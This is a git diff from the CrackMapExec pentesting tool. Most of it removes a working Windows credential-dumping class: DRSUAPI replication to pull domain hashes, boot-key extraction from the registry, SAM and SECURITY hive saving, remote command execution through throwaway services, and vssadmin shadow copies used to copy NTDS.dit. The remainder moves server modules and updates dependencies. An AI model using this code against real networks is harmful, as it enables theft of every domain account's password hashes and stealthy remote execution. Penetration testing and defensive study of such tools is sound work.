self.__NtdsDsaObjectGuid - request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid - - dsName = drsuapi.DSNAME() - dsName['SidLen'] = 0 - dsName['Guid'] = drsuapi.NULLGUID - dsName['Sid'] = '' - dsName['NameLen'] = len(userEntry) - dsName['StringName'] = (userEntry + '\x00') - - dsName['structLen'] = len(dsName.getData()) - - request['pmsgIn']['V8']['pNC'] = dsName - - request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 - request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 - - request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL - - request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP - request['pmsgIn']['V8']['cMaxObjects'] = 1 - request['pmsgIn']['V8']['cMaxBytes'] = 0 - request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ - if self.__ppartialAttrSet is None: - self.__prefixTable = [] - self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() - self.__ppartialAttrSet['dwVersion'] = 1 - self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) - for attId in NTDSHashes.ATTRTYP_TO_ATTID.values(): - self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) - request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet - request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) - request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable - request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL - - return self.__drsr.request(request) - - def getDomainUsers(self, enumerationContext=0): - if self.__samr is None: - self.connectSamr(self.getMachineNameAndDomain()[1]) - - try: - resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, - userAccountControl=samr.USER_NORMAL_ACCOUNT | \ - samr.USER_WORKSTATION_TRUST_ACCOUNT | \ - samr.USER_SERVER_TRUST_ACCOUNT |\ - samr.USER_INTERDOMAIN_TRUST_ACCOUNT, - enumerationContext=enumerationContext) - except DCERPCException, e: - if str(e).find('STATUS_MORE_ENTRIES') < 0: - raise - resp = e.get_packet() - return resp - - def ridToSid(self, rid): - if self.__samr is None: - self.connectSamr(self.getMachineNameAndDomain()[1]) - resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) - return resp['Sid'] - - - def getMachineNameAndDomain(self): - if self.__smbConnection.getServerName() == '': - # No serverName.. this is either because we're doing Kerberos - # or not receiving that data during the login process. - # Let's try getting it through RPC - rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') - rpc.set_smb_connection(self.__smbConnection) - dce = rpc.get_dce_rpc() - dce.connect() - dce.bind(wkst.MSRPC_UUID_WKST) - resp = wkst.hNetrWkstaGetInfo(dce, 100) - dce.disconnect() - return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1] - else: - return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() - - def getDefaultLoginAccount(self): - try: - ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') - keyHandle = ans['phkResult'] - dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') - username = dataValue[:-1] - dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') - domain = dataValue[:-1] - rrp.hBaseRegCloseKey(self.__rrp, keyHandle) - if len(domain) > 0: - return '%s\\%s' % (domain,username) - else: - return username - except: - return None - - def getServiceAccount(self, serviceName): - try: - # Open the service - ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) - serviceHandle = ans['lpServiceHandle'] - resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) - account = resp['lpServiceConfig']['lpServiceStartName'][:-1] - scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) - if account.startswith('.\\'): - account = account[2:] - return account - except Exception, e: - logging.error(e) - return None - - def __checkServiceStatus(self): - # Open SC Manager - ans = scmr.hROpenSCManagerW(self.__scmr) - self.__scManagerHandle = ans['lpScHandle'] - # Now let's open the service - ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) - self.__serviceHandle = ans['lpServiceHandle'] - # Let's check its status - ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) - if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: - logging.info('Service %s is in stopped state'% self.__serviceName) - self.__shouldStop = True - self.__started = False - elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: - logging.debug('Service %s is already running'% self.__serviceName) - self.__shouldStop = False - self.__started = True - else: - raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) - - # Let's check its configuration if service is stopped, maybe it's disabled :s - if self.__started is False: - ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) - if ans['lpServiceConfig']['dwStartType'] == 0x4: - logging.info('Service %s is disabled, enabling it'% self.__serviceName) - self.__disabled = True - scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) - logging.info('Starting service %s' % self.__serviceName) - scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) - sleep(1) - - def enableRegistry(self): - self.__connectSvcCtl() - self.__checkServiceStatus() - self.__connectWinReg() - - def __restore(self): - # First of all stop the service if it was originally stopped - if self.__shouldStop is True: - logging.info('Stopping service %s' % self.__serviceName) - scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) - if self.__disabled is True: - logging.info('Restoring the disabled state for service %s' % self.__serviceName) - scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) - if self.__serviceDeleted is False: - # Check again the service we created does not exist, starting a new connection - # Why?.. Hitting CTRL+C might break the whole existing DCE connection - try: - rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) - if hasattr(rpc, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpc.set_credentials(*self.__smbConnection.getCredentials()) - rpc.set_kerberos(self.__doKerberos) - self.__scmr = rpc.get_dce_rpc() - self.__scmr.connect() - self.__scmr.bind(scmr.MSRPC_UUID_SCMR) - # Open SC Manager - ans = scmr.hROpenSCManagerW(self.__scmr) - self.__scManagerHandle = ans['lpScHandle'] - # Now let's open the service - resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) - service = resp['lpServiceHandle'] - scmr.hRDeleteService(self.__scmr, service) - scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) - scmr.hRCloseServiceHandle(self.__scmr, service) - scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) - scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) - rpc.disconnect() - except Exception, e: - # If service is stopped it'll trigger an exception - # If service does not exist it'll trigger an exception - # So. we just wanna be sure we delete it, no need to - # show this exception message - pass - - def finish(self): - self.__restore() - if self.__rrp is not None: - self.__rrp.disconnect() - if self.__drsr is not None: - self.__drsr.disconnect() - if self.__samr is not None: - self.__samr.disconnect() - if self.__scmr is not None: - self.__scmr.disconnect() - - def getBootKey(self): - bootKey = '' - ans = rrp.hOpenLocalMachine(self.__rrp) - self.__regHandle = ans['phKey'] - for key in ['JD','Skew1','GBG','Data']: - logging.debug('Retrieving class info for %s'% key) - ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) - keyHandle = ans['phkResult'] - ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) - bootKey = bootKey + ans['lpClassOut'][:-1] - rrp.hBaseRegCloseKey(self.__rrp, keyHandle) - - transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] - - bootKey = unhexlify(bootKey) - - for i in xrange(len(bootKey)): - self.__bootKey += bootKey[transforms[i]] - - logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey)) - - return self.__bootKey - - def checkNoLMHashPolicy(self): - logging.debug('Checking NoLMHash Policy') - ans = rrp.hOpenLocalMachine(self.__rrp) - self.__regHandle = ans['phKey'] - - ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') - keyHandle = ans['phkResult'] - try: - dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') - except: - noLMHash = 0 - - if noLMHash != 1: - logging.debug('LMHashes are being stored') - return False - - logging.debug('LMHashes are NOT being stored') - return True - - def __retrieveHive(self, hiveName): - tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' - ans = rrp.hOpenLocalMachine(self.__rrp) - regHandle = ans['phKey'] - try: - ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) - except: - raise Exception("Can't open %s hive" % hiveName) - keyHandle = ans['phkResult'] - rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) - rrp.hBaseRegCloseKey(self.__rrp, keyHandle) - rrp.hBaseRegCloseKey(self.__rrp, regHandle) - # Now let's open the remote file, so it can be read later - remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) - return remoteFileName - - def saveSAM(self): - logging.debug('Saving remote SAM database') - return self.__retrieveHive('SAM') - - def saveSECURITY(self): - logging.debug('Saving remote SECURITY database') - return self.__retrieveHive('SECURITY') - - def __executeRemote(self, data): - self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') - command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile - command += ' & ' + 'del ' + self.__batchFile - - self.__serviceDeleted = False - resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) - service = resp['lpServiceHandle'] - try: - scmr.hRStartServiceW(self.__scmr, service) - except: - pass - scmr.hRDeleteService(self.__scmr, service) - self.__serviceDeleted = True - scmr.hRCloseServiceHandle(self.__scmr, service) - def __answer(self, data): - self.__answerTMP += data - - def __getLastVSS(self): - self.__executeRemote('%COMSPEC% /C vssadmin list shadows') - sleep(5) - tries = 0 - while True: - try: - self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) - break - except Exception, e: - if tries > 30: - # We give up - raise Exception('Too many tries trying to list vss shadows') - if str(e).find('SHARING') > 0: - # Stuff didn't finish yet.. wait more - sleep(5) - tries +=1 - pass - else: - raise - - lines = self.__answerTMP.split('\n') - lastShadow = '' - lastShadowFor = '' - - # Let's find the last one - # The string used to search the shadow for drive. Wondering what happens - # in other languages - SHADOWFOR = 'Volume: (' - - for line in lines: - if line.find('GLOBALROOT') > 0: - lastShadow = line[line.find('\\\\?'):][:-1] - elif line.find(SHADOWFOR) > 0: - lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] - - self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') - - return lastShadow, lastShadowFor - - def saveNTDS(self): - logging.info('Searching for NTDS.dit') - # First of all, let's try to read the target NTDS.dit registry entry - ans = rrp.hOpenLocalMachine(self.__rrp) - regHandle = ans['phKey'] - try: - ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') - keyHandle = ans['phkResult'] - except: - # Can't open the registry path, assuming no NTDS on the other end - return None - - try: - dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') - ntdsLocation = dataValue[:-1] - ntdsDrive = ntdsLocation[:2] - except: - # Can't open the registry path, assuming no NTDS on the other end - return None - - rrp.hBaseRegCloseKey(self.__rrp, keyHandle) - rrp.hBaseRegCloseKey(self.__rrp, regHandle) - - logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) - # Get the list of remote shadows - shadow, shadowFor = self.__getLastVSS() - if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): - # No shadow, create one - self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) - shadow, shadowFor = self.__getLastVSS() - shouldRemove = True - if shadow == '': - raise Exception('Could not get a VSS') - else: - shouldRemove = False - - # Now copy the ntds.dit to the temp directory - tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' - - self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) - - if shouldRemove is True: - self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) - - self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') - - remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) - - return remoteFileName diff --git a/cme/servers/__init__.py b/cme/servers/__init__.py new file mode 100755 index 00000000..e69de29b diff --git a/cme/cmeserver.py b/cme/servers/http.py old mode 100644 new mode 100755 similarity index 78% rename from cme/cmeserver.py rename to cme/servers/http.py index 93a7d773..b0a8f4c2 --- a/cme/cmeserver.py +++ b/cme/servers/http.py @@ -5,30 +5,25 @@ import os import sys import logging from BaseHTTPServer import BaseHTTPRequestHandler -from logging import getLogger from gevent import sleep -from cme.helpers import highlight +from cme.helpers.logger import highlight from cme.logger import CMEAdapter class RequestHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): - server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) + server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) server_logger.info("- - %s" % (format%args)) def do_GET(self): if hasattr(self.server.module, 'on_request'): - server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) + server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) self.server.context.log = server_logger - - launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command) - payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command) - - self.server.module.on_request(self.server.context, self, launcher, payload) + self.server.module.on_request(self.server.context, self) def do_POST(self): if hasattr(self.server.module, 'on_response'): - server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) + server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) self.server.context.log = server_logger self.server.module.on_response(self.server.context, self) @@ -54,6 +49,7 @@ class CMEServer(threading.Thread): self.server.context = context self.server.log = context.log self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem') + self.server.track_host = self.track_host logging.debug('CME server type: ' + server_type) if server_type == 'https': @@ -75,9 +71,9 @@ class CMEServer(threading.Thread): self.server.hosts.append(host_ip) def run(self): - try: + try: self.server.serve_forever() - except: + except: pass def shutdown(self): diff --git a/cme/cmesmbserver.py b/cme/servers/smb.py old mode 100644 new mode 100755 similarity index 97% rename from cme/cmesmbserver.py rename to cme/servers/smb.py index beb786e1..f6ba0cea --- a/cme/cmesmbserver.py +++ b/cme/servers/smb.py @@ -27,9 +27,9 @@ class CMESMBServer(threading.Thread): sys.exit(1) def run(self): - try: + try: self.server.start() - except: + except: pass def shutdown(self): diff --git a/cme/targetparser.py b/cme/targetparser.py old mode 100644 new mode 100755 diff --git a/requirements.txt b/requirements.txt old mode 100644 new mode 100755 index c4578e48..600f156e --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ -impacket>=0.9.15 +git+https://github.com/CoreSecurity/impacket +git+https://github.com/the-useless-one/pywerview gevent netaddr pycrypto diff --git a/setup.cfg b/setup.cfg new file mode 100755 index 00000000..b88034e4 --- /dev/null +++ b/setup.cfg @@ -0,0 +1,2 @@ +[metadata] +description-file = README.md diff --git a/setup.py b/setup.py old mode 100644 new mode 100755 index d5305728..fe469762 --- a/setup.py +++ b/setup.py @@ -1,14 +1,17 @@ from setuptools import setup, find_packages setup(name='crackmapexec', - version='3.1.5-dev', - description='A swiss army knife for pentesting Windows/Active Directory environments', - #dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'], + version='4.0.0dev', + description='A swiss army knife for pentesting networks', + dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev', + 'https://github.com/the-useless-one/pywerview/tarball/master#egg=pywerview-0.1.1'], classifiers=[ + 'Environment :: Console', 'License :: OSI Approved :: BSD License', 'Programming Language :: Python :: 2.7', + 'Topic :: Security', ], - keywords='pentesting security windows smb active-directory', + keywords='pentesting security windows smb active-directory networks', url='http://github.com/byt3bl33d3r/CrackMapExec', author='byt3bl33d3r', author_email='byt3bl33d3r@gmail.com', @@ -17,7 +20,8 @@ setup(name='crackmapexec', "cme", "cme.*" ]), install_requires=[ - 'impacket>=0.9.15', + 'impacket>=0.9.16dev', + 'pywerview>=0.1.1', 'gevent', 'netaddr', 'pyOpenSSL',